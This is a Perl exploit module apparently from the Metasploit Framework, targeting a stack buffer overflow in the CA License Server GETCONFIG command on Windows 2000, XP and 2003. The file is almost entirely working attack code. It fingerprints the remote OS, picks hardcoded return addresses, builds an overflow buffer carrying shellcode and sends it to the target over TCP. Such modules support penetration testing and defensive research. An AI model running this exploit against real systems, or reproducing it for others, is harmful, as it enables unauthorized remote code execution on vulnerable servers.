##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::calicserv_getconfig;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'  => 'CA License Server GETCONFIG Overflow',
	'Version'  => '$Revision: 1.8 $',
	'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
	'Priv'  => 1,
	'AutoOpts'  => { 'EXITFUNC' => 'thread' },
	'UserOpts'  => {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 10202],
	  },

	'Payload' =>
	  {
		'Space'		=> 600,
		'BadChars'	=> "\x00\x20",
		'Prepend'	=> "\x81\xc4\x54\xf2\xff\xff",
		'Keys'		=> ['+ws2ord'],
	  },

	'Description'  => Pex::Text::Freeform(qq{
        This module exploits an vulnerability in the CA License Server
        network service. This is a simple stack overflow and just one of
        many serious problems with this software.
}),

	'Refs'    =>
	  [
		['BID', '12705'],
		['CVE', '005-0581'],
		['URL', 'http://www.idefense.com/application/poi/display?id=213&type=vulnerabilities'],
	  ],

	'Targets' => [

		# As much as I would like to return back to the DLL or EXE,
		# all of those modules have a leading NULL in the
		# loaded @ address :(

		['Automatic', 0],
		['Windows 2000 English',         0x750217ae, 0x7ffde0cc], # ws2help.dll esi + peb
		['Windows XP English SP0-1',     0x71aa16e5, 0x7ffde0cc], # ws2help.dll esi + peb
		['Windows XP English SP2',       0x71aa1b22, 0x71aa5001], # ws2help.dll esi + .data
		['Windows 2003 English SP0',     0x71bf175f, 0x7ffde0cc], # ws2help.dll esi + peb
	  ],
	'Keys'  => ['calicense'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Check {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $data = $self->GetConfig($target_host, $target_port);
	if (! $data) {
		$self->PrintLine("[*] Could not read remote configuration");
		return $self->CheckCode('Connect');
	}

	$self->PrintLine("[*] License Server: $data");
	return $self->CheckCode('Detected');
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target = $self->Targets->[$target_idx];

	if ($target_idx == 0) {
		my $data = $self->GetConfig($target_host, $target_port);
		if ($data =~ m/OS\<([^\>]+)/) {
			my $os = $1;
			$os =~ s/_NT//g;
			$os =~ s/5\.1/XP/;
			$os =~ s/5\.2/2003/;
			$os =~ s/5\.0/2000/;
			$os =~ s/4\.0/NT 4.0/;

			my @targs;
			for (1 .. (scalar(@{$self->Targets})-1)) {
				if (index($self->Targets->[$_]->[0], $os) != -1) {
					push @targs, $_;
				}
			}

			if (scalar(@targs) > 1) {
				$self->PrintLine("[*] Multiple possible targets:");
				foreach (@targs) {
					$self->PrintLine("[*]  $_\t".$self->Targets->[$_]->[0]);
				}
				return;
			}

			if (scalar(@targs) == 1) {
				$target = $self->Targets->[$targs[0]];
			}

			if (! scalar(@targs)) {
				$self->PrintLine("[*] No matching target for $os");
				return;
			}

		} else {
			$self->PrintLine("[*] Could not determine the remote OS automatically");
			return;
		}
	}

	$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	# Read the initial greeting from the license server
	my $res = $s->Recv(-1, 1);
	if (! $res || $res !~ /GETCONFIG/) {
		$self->PrintLine("[*] The server did not return the expected greeting");
		return;
	}

	my $boom = Pex::Text::EnglishText(900);

	# 144 -> original return address
	# 148 -> avoid exception by patching with writable address
	# 928 -> seh handler (not useful under XP SP2)

	substr($boom, 144, 4, pack('V', $target->[1]));     # jmp esi
	substr($boom, 148, 4, pack('V', $target->[2]));     # writable address
	substr($boom, 272, length($shellcode), $shellcode);

	my $req = "A0 GETCONFIG SELF $boom<EOM>";

	$self->PrintLine("[*] Sending " .length($req) . " bytes to remote host.");
	$s->Send($req);

	return;
}

# Returns data in the following format
#A0 GCR HOSTNAME<BOOFERM>HARDWARE<009c059010204>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>

sub GetConfig {
	my $self = shift;
	my $target_host = shift;
	my $target_port = shift;

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	# Recieve the message that is first sent
	$s->Recv(-1, 1);

	# Ask for the configuration info
	$s->Send("A0 GETCONFIG SELF 0<EOM>");
	my $res = $s->Recv(-1, 2);

	# Close the socket
	$s->Close;

	# Return the data
	return $res;
}

1;